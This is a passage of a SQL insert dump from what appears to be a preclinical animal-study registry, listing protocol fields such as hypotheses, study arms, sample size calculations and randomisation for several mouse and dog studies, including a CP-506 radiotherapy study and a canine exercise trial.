	(8017,206,'study_arms','[{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 1\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 1\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 2\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 2\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"vehicle combined with radiation in tumor model 3\"},{\"type\":\"intervention\",\"number\":\"25\",\"intervention\":\"CP-506 combined with radiation in tumor model 3\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8018,206,'randomisation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8019,206,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8020,206,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8021,206,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8022,206,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8023,206,'placebo_controlled','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8024,206,'application_number','\"Landesdirektion Sachsen TVV 7\\/2018\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8025,206,'has_embargo','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8026,207,'title','\"A novel hypoxia activated prodrug CP-506 in combination with clinically relevant fractionated radiotherapy\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8027,207,'short_title','\"Hypoxia activated prodrug CP-506 and fractionated RT\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8028,207,'contact_name','\"Ala Yaromina\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8029,207,'contact_role','\"Project supervisor, executive researcher\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8030,207,'contact_email','\"ala.yaromina@maastrichtuniversity.nl\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8031,207,'study_centre','[{\"name\":\"UM, Dept. Precision Medicine\",\"city\":\"Maastricht\",\"country\":\"NL\"},{\"name\":\"TUD, OncoRay\",\"city\":\"Dresden\",\"country\":\"DE\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8032,207,'financial_support','[\"industry\",\"_investigator_driven\",\"grants\"]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8033,207,'start_date','\"2020-10-01\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8034,207,'end_date','\"2021-07-01\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8035,207,'study_status','\"not_started\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8036,207,'research_field','\"Oncology, Radiobiology\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8037,207,'hypothesis','\"CP-506 reduces TCD50 (dose to control 50% of tumors) after fractionated radiotherapy with 30 fractions over 6 weeks\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8038,207,'intervention_type','\"compound\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8039,207,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8040,207,'primary_readout_parameter','\"Efficacy: Efficacy is based on TCD50 (radiation dose to cure 50% of tumors). To determine TCD50, animals will be randomized across 8 different radiation dose groups combined with vehicle or CP-506. For each animal, after the end of treatment recurrence will be scored when the tumour volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored. To determine tumor volume, three-dimensional tumor measurements using a caliper will be performed twice a week or once per week when local tumor control has been reached for 150 days after the end of treatment. The categorical outcome data (0 - local control, 1 - local recurrence) will be fit to logistic regression with radiation dose as a variable and TCD50 will be calculated for control and experimental group. It is expected that TCD50 after irradiation with CP-506 will be significantly lower than in control group. \\n\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8041,207,'secondary_readout_parameter','\"Time to recurrence. Cox proportional hazards model will be used to fit the data with radiation dose (continuous) and treatment group (categorical) as variables.\\nIn parallel to efficacy study, tumor hypoxic fraction using pimonidazole hypoxia marker will be measured before treatment and in the first week of fractionated RT. \"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8042,207,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8043,207,'species','\"mouse\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8044,207,'strain','\"nude mice\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8045,207,'sex','\"both\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8046,207,'experimental_design','\"human tumor xenografts\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8047,207,'sample_size_calculation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8048,207,'sample_size_calculation_details','\"The sample size was calculated in advance using Maximum-Likelihood-Analysis, Likelihood-Ratio-Test (Logit-Model),\\n\\u03b1 = 0,05; 8 radiation dose groups; expected difference: 20%; Power = 85%, drop-outs: n=2 per radiation dose group\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8049,207,'sum_of_animals','\"192 animals\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8050,207,'study_arms','[{\"type\":\"control\",\"number\":\"96\",\"intervention\":\"vehicle combined with fractionated RT (8 radiation dose groups)\"},{\"type\":\"intervention\",\"number\":\"96\",\"intervention\":\"CP-506 combined with fractionated RT (8 radiation dose groups)\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8051,207,'randomisation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8052,207,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8053,207,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8054,207,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8055,207,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8056,207,'placebo_controlled','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8057,207,'application_number','\"Landesdirektion Sachsen TVV7\\/2018\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8058,207,'has_embargo','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8059,198,'original_animal_ethics_committee_application','\"Comit\\u00e9 d\\u2019\\u00e9thique pour l\\u2019Exp\\u00e9rimentation Animale Neurosciences Lyon (registration code: C2EA-42), project authorization number by the French Ministry of Higher Education and Research 15529-2018061512184831 v2\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8060,208,'title','\"Efficacy of high intensity interval training compared to moderate intensity continuous training on maximal aerobic potency in dogs: protocol for a randomized controlled clinical trial\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8061,208,'contact_name','\"Sonia Orozco\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8062,208,'contact_role','\"Main investigator, PhD position\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8063,208,'contact_email','\"sonia.orozco@udea.edu.co\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8064,208,'study_centre','[{\"name\":\"Centro de Investigaciones caninas, Solla\\/CES\",\"city\":\"Medellin\",\"country\":\"CO\"},{\"name\":\"Universidad de Antioquia\",\"city\":\"Medellin\",\"country\":\"CO\"},{\"name\":\"CES\",\"city\":\"Medellin\",\"country\":\"CO\"}]','2022-03-31 13:23:54','2022-03-31 13:23:55'),
	(8065,208,'financial_support','[\"industry\",\"grants\"]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8066,208,'start_date','\"2019-06-01\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8067,208,'end_date','\"2020-10-09\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8068,208,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8069,208,'research_field','\"Canine exercise physiology\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8070,208,'hypothesis','\"HIIT training is superior compared to MICT in increasing the maximal aerobic potency.\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8071,208,'intervention_type','\"other\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8072,208,'other_intervention_type','\"Two types of aerobic exercise, Moderate intensity continuos training and High intensity interval training\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8073,208,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8074,208,'primary_readout_parameter','\"Efficacy: Changes of maximal aerobic potency at the end of the training period: Time Frame measurements: Baseline, End of 12th week (72 hours after last training session). \\nAfter the dogs have been gradually accustomed to the environment, treadmill noise and trained to walk on a motor-driven treadmill and prior to the physical training program, a first incremental exercise test (IET1) shall be executed. After completing the 12 weeks of the physical training program (HIIT or MICT) a second IET shall be performed (IET2) with the same characteristics 72 hours after the last training session. The time to maximal speed that each dog develops during an IET1 and IET2 will be compared. The IET will have a maximal duration of 30 minutes. For both groups, HIIT and MICT, two hours before the exercise session food shall be withdrawn, water will be always available. No electrical shocks will be used as a stimulus to exercise.\\n\\nOne hour before starting the IET, a Polar\\u00ae heart rate measuring system (Model H10) will be placed on each dog to register the heart rate at rest, during the warm up, exercise bout and cool down phases and at 30 minutes of recovery of the run. The Polar\\u00ae electrode belt will be strapped around the chest of the dogs with the transmitter placed ventrally and the electrodes on each side of the sternum. This heart rate monitor has been validated for rest and exercising veterinary use.\\n\\nThe dogs will undergo an IET composed of five stages of six minutes each, at increasing speeds of 9.6, 11.2, 12.8, 14.5 and 16km\\/h with a 5% of inclination for a maximum of 30 minutes. A short pause between stages will be implemented which will be the minimum time required for obtaining a blood sample. After a resting period of 30 minutes the last blood sample will be drawn. The IET could be concluded when the dog shows signs of fatigue or restlessness despite positive reinforcement, or shows breathlessness. The maximal speed of the treadmill will be recorded as kilometers per hour. Finalizing the IET during the 30-minute resting period, a lactate sample will be drawn every 10 minutes.\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8075,208,'secondary_readout_parameter','\"9.8.4\\tAerobic resistance. Time Frame: Baseline, End of 12th week (72 hours after last training session).\\nThe time to blood lactate anaerobic threshold (LT) of the first Incremental Exercise Test (IET1) shall be compared to a second (IET2) that will be executed after finishing each training program. Blood lactate samples during IET has been referred in various articles. Blood lactate levels will be determined in mmol\\/l, with a hand held lactate (Lactate Plus Meter, NOVA) validated for dogs. \\nThe rest blood samples for lactate shall be taken 24 hours prior to IET to avoid the anticipation effect. During both IETs (IET1 and IET2) blood samples will be collected every 5 minutes until the end of the IET and 30 minutes at rest from an indwelled cephalic or jugular vein catheter.\\n\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8076,208,'exclusive_animal_use','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8077,208,'no_exclusive_animal_use_details','\"The study shall be carried out in a dog kennel research center for palatability trials of a commercial dog food company. \"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8078,208,'species','\"dog\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8079,208,'strain','\"Healthy untrained dogs with ages between 12 months up to 84 months (7 years), no specific breed or sex is required. Bloodwork, blood pressure, electrocardiograma and Echocardiogram within physiological ranges.\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8080,208,'sex','\"both\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8081,208,'experimental_design','\"Dog\"','2022-03-31 13:23:54','2022-03-31 13:23:55'),
	(8082,208,'sample_size_calculation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8083,208,'sample_size_calculation_details','\"A total sample size of 30 dogs (HIIT, n=10; MICT, n=10; Control, n=10) was calculated, considering a difference between HIIT and MICT of 0.57 m\\/s in maximal velocity achieved, a standard deviation of 0.35 m\\/s (Aparecida et al., 2018), a confidence level of 95%, an 80% power and a 1:1:1 ratio and 20% of potential withdrawals.\"','2022-03-31 13:23:54','2022-03-31 13:23:55'),
	(8084,208,'sum_of_animals','\"30 dogs\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8085,208,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Cage rest during training\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Moderate intensity continuos training (MICT)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"High intensity interval training (HIIT)\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8086,208,'randomisation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8087,208,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8088,208,'other_randomisation_method','\"Clinical Trial Coordinating Center, which is external to the researchers, will generate the randomization allocation sequence at a 1:1:1 ratio (HIIT, n=10; MICT, n=10; C, n=10), with the minimization method using the MinimPy\\u00ae software, version 0.3 (Scott et al., 2002), with the predefined subject variables of age (&gt;12months- &lt;120months), size (small &lt;15 kg, medium &gt;15 &lt; 25 kg, large &gt;25 kg) and gender (male or female). A base probability of 0,7 shall be used by the &quot;bias coin&quot; method and variance as a measure to define the difference between each group, for the addition of the next dog.\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8089,208,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8090,208,'yes_blinded_intervention_how_details','\"The main investigator is not blinded, the remaining investigators are blinded to the intervention.\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8091,208,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8092,208,'investigators_blinded_assessment','\"the_measurement_of_the_outcomes_will_be_performed_by_professionals_whom_will_not_know_the_allocation_to_each_group_one_of_the_investigators_will_compile_the_data_of_the_training_sessions_on_tailored_digital_files_on_an_online_backup_service_each_dog_will_have_a_code_to_ensure_blinding_for_the_statistical_analysis\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8093,208,'placebo_controlled','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8094,208,'application_number','\"Thttps:\\/\\/www.dropbox.com\\/s\\/ywx6q67elmt6a65\\/Formulario%20Proyecto%20SOrozco.pdf?dl=0\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8095,208,'has_embargo','\"no\"','2022-03-31 13:23:54','2022-03-31 13:24:00'),
	(8096,208,'link_to_data','\"Alves J, Santos A, Brites P, Ferreira-Dias G. Evaluation of physical fitness in police dogs using an incremental exercise test. Comp Exerc Physiol 2012; 8(3\\u20134): 219\\u2013226. DOI: https:\\/\\/doi.org\\/10.3920\\/CEP12027.\\n\\nAparecida J, Zamora WA, Gon\\u00e7alves M, Azevedo L, MendesdeAlmeida ML, Heinz W,  Tadeu G, Cavalieri A, Camargo G. Intense exercise and endurance-training program influence serum kinetics of muscle and cardiac biomarkers in dogs. Res Vet Sci 2018; 121: 31\\u201339. DOI: https:\\/\\/doi.org\\/10.1016\\/j.rvsc.2018.10.004\\n\\nCarey RA, Ritzer TF, Bove AA. Effect of endurance training on myocardial myosin adenosine triphos activity of the dog. Med Sci Sports Exerc 1979; 11(3): 308-312. DOI: http:\\/\\/doi.org\\/10.1249\\/00005768-197901130-00016\\n\\nFerasin L, Marcora S. Reliability of an incremental exercise test to evaluate acute blood lactate, heart rate and body temperature responses in Labrador retrievers. J Comp Physiol B 2009; 179(7): 839-845. DOI: https:\\/\\/doi.org\\/10.1007\\/s00360-009-0367-z\\n\\nLee HS, Lee SH, Kim JW, Lee YS, Lee BC, Oh HJ, Kim JH. Development of novel continuous and interval exercise programs by applying the FITT-VP principle in dogs. Scientific World J, 2020. ID 3029591: 1-9. DOI: https:\\/\\/doi.org\\/10.1155\\/2020\\/3029591\\n\\nReady A, Morgan G. The physiological response of siberian husky dogs to exercise: effect of interval training. Can Vet J 1984; 25(2): 86-91.\\n\\nStepien R, Hinchcliff K, Constable P, Olson J. Effect of endurance training on cardiac morphology in Alaskan sled dogs. J Appl Physiol 1998; 85(4): 1368-1375. DOI: https:\\/\\/doi.org\\/10.1152\\/jappl.1998.85.4.1368\\n\\nSwanson KDJ, Harper TAM, McMichael M, Fries RC, Lascola KM, Chandler C, Schaeffer DJ, Chinnadurai SK. Development of a perceived exertion scale for dogs using selected physiologic parameters. J Small Anim Prac 2019; 60(4): 247-253. DOI: https:\\/\\/doi.org\\/10.1111\\/jsap.12978\\n\\nThorneloe C, B\\u00e9dard C, Boysen S. Evaluation of a hand-held lactate analyzer in dogs. Can Vet 2007; 48(March): 283-288.\\n\\nZink C, Carr BJ. What is a Canine Athlete? In: Zink C, Van Dyke JB, editors. Canine Sports Medicine and Rehabilitation. 2nd ed. Hobokem: Wiley-Blackwell; 2018. p. 1\\u201322. DOI: https:\\/\\/doi.org\\/10.1002\\/9781119380627\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8097,208,'original_animal_ethics_committee_application','\"https:\\/\\/www.dropbox.com\\/s\\/0lvplmzwt6sv5gt\\/4.%20Caracterizacion%20de%20los%20cambios%20funcion%20ales%20y%20estructurales%20cardiovasculares.pdf?dl=0\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8098,209,'title','\"Galectin-3 knockout in a bile duct ligation mouse model for liver fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8099,209,'contact_name','\"Floris Valentijn\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8100,209,'contact_role','\"Executive researcher\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8101,209,'contact_email','\"F.A.Valentijn@umcutrecht.nl\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8102,209,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8103,209,'financial_support','[\"industry\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8104,209,'start_date','\"2021-02-18\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8105,209,'end_date','\"2022-02-18\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8106,209,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8107,209,'research_field','\"Hepatology, fibrosis \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8108,209,'intervention_type','\"other\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8109,209,'other_intervention_type','\"Gene knockout\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8110,209,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8111,209,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8112,209,'species','\"mouse\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8113,209,'short_title','\"Galectin-3 in liver fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8114,209,'hypothesis','\"Galectin-3 knockout reduces bile duct ligation induced liver fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8115,209,'primary_readout_parameter','\"Safety: Fibrosis quantified through Masson Trichrome staining on mice sacrificided 7 days (initiation phase) and 21 days (progression phase) after bile duct ligation. \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8116,209,'secondary_readout_parameter','\"Fibrosis (e.g. collagen, fibronectin, CTGF) and inflammation (eg CCL2, Il-6, IL1B) associated signaling molecules, cells and proteins. \"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8117,209,'strain','\"Galactin-3 knockout and wildtype mice, both on a C57BL6\\/J background\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8118,209,'sex','\"male\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8119,209,'experimental_design','\"Bile duct ligation is used during the animal experiment. The common bile duct is tied off, causing cholestasis. This results in liver fibrosis after a few days. The mice will be killed 7 and 21 days after the procedure. In rodents, this model results in a histological picture as seen in biliary cirrhosis. When performed by an experienced biotechnician, this model is a robust and reproducible model for inducing liver fibrosis.\\n\\nThe time points of 7 and 21 days have been chosen because fibrosis onset is visible after 7 days, especially sinusoidal with inflammation. After 21 days, extensive fibrosis is visible throughout the liver parenchyma (including periportal) and a stable infiltrate is present. This allows the difference in early inflammation and long term fibrosis to be compared.\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8120,209,'sample_size_calculation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8121,209,'sample_size_calculation_details','\"Using a power of 0.9, alpha 0.025 (0,05\\/2 for Bonferoni correction), detectable effect size of 25% (based on assumed clinical relevance) and SD of 15% (based on literature) for a single-tailed t-test results in 9 mice\\/group. To compensate for any dropout (expected 10% dropout based on literature), leads to a total of 10 mice\\/group.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8122,209,'sum_of_animals','\"40 mice in total\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8123,209,'study_arms','[{\"type\":\"\",\"number\":\"10\",\"intervention\":\"7day wildtype \"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"7day galectin-3 knockout\"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"21day wildtype\"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"21day galectin-3 knockout\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8124,209,'randomisation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8125,209,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8126,209,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8127,209,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8128,209,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8129,209,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8130,209,'application_number','\"8845-1-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8131,209,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8132,210,'title','\"Role for Connective tissue growth factor (CTGF\\/CCN2) in renal ischemia reperfusion injury-induced DNA damage response, cellular senescence and fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8133,210,'short_title','\"CTGF in renal I\\/R-injury \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8134,210,'contact_name','\"Floris Valentijn\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8135,210,'contact_role','\"executive researcher\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8136,210,'contact_email','\"F.A.Valentijn@umcutrecht.nl\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8137,210,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"\",\"city\":\"\",\"country\":\"\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8138,210,'financial_support','[\"grants\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8139,210,'start_date','\"2014-04-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8140,210,'end_date','\"2021-09-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8141,210,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8142,210,'research_field','\"Nephrology, fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8143,210,'hypothesis','\"CTGF knockout reduces renal I\\/R-injury induced fibrosis\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8144,210,'intervention_type','\"other\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8145,210,'other_intervention_type','\"Gene knockout\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8146,210,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8147,210,'primary_readout_parameter','\"Feasibility: 1. Fibrosis measured by Masson Trichrome staining 6 weeks after IRI\\n2. Tubular damage measured by pathological damage score 3 days after IRI\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8148,210,'secondary_readout_parameter','\"Senescence phenotype, including markers for DNA damage response, cell cycle arrest and SASP.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8149,210,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8150,210,'species','\"mouse\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8151,210,'strain','\"CTGF conditional knockout (CTGF-floxed mice crossbred with ROSA26CreERT2 mice) and wildtype (CTGF-floxed mice), all on a C57Bl6\\/J background\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8152,210,'sex','\"male\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8153,210,'experimental_design','\"25-minute bilateral IRI\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8154,210,'sample_size_calculation','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8155,210,'sample_size_calculation_details','\"Sample sizes were based on published studies and pilot experiments.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8156,210,'sum_of_animals','\"33 6week IRI mice\\n27 3day IRI mice\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8157,210,'study_arms','[{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT sham\"},{\"type\":\"\",\"number\":\"6\",\"intervention\":\"6week WT IRI\"},{\"type\":\"\",\"number\":\"8\",\"intervention\":\"6week KO sham\"},{\"type\":\"\",\"number\":\"13\",\"intervention\":\"6week KO IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day WT sham\"},{\"type\":\"\",\"number\":\"7\",\"intervention\":\"3day WT IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"3day KO sham\"},{\"type\":\"\",\"number\":\"10\",\"intervention\":\"3day KO IRI\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8158,210,'randomisation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8159,210,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8160,210,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8161,210,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8162,210,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8163,210,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8164,210,'application_number','\"2014.II.04.030 \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8165,210,'link_to_data','\"Related poster presentations and review articles available on: \\nhttps:\\/\\/www.researchgate.net\\/profile\\/Floris_Valentijn \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8166,210,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8167,211,'title','\"An in-vitro Veno-venous Extra-Corporeal Membrane Oxygenation model using a volumetric infusion pump\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8168,211,'contact_name','\"Abdur Rahmaan Kadwa\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8169,211,'contact_role','\"Primary investigator\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8170,211,'contact_email','\"abdur.kadwa@up.ac.za\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8171,211,'study_centre','[{\"name\":\"University of Pretoria, Faculty of Veterinary Science\",\"city\":\"Pretoria\",\"country\":\"ZA\"},{\"name\":\"Valley Farm Animal Hospital\",\"city\":\"Pretoria\",\"country\":\"ZA\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8172,211,'financial_support','[\"industry\",\"grants\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8173,211,'start_date','\"2020-10-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8174,211,'end_date','\"2021-09-30\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8175,211,'study_status','\"not_started\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8176,211,'research_field','\"Veterinary critical care\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8177,211,'hypothesis','\"Severe hypoxaemia and hypercarbia non-responsive to traditional ventilation strategies.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8178,211,'intervention_type','\"model_optimalisation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8179,211,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
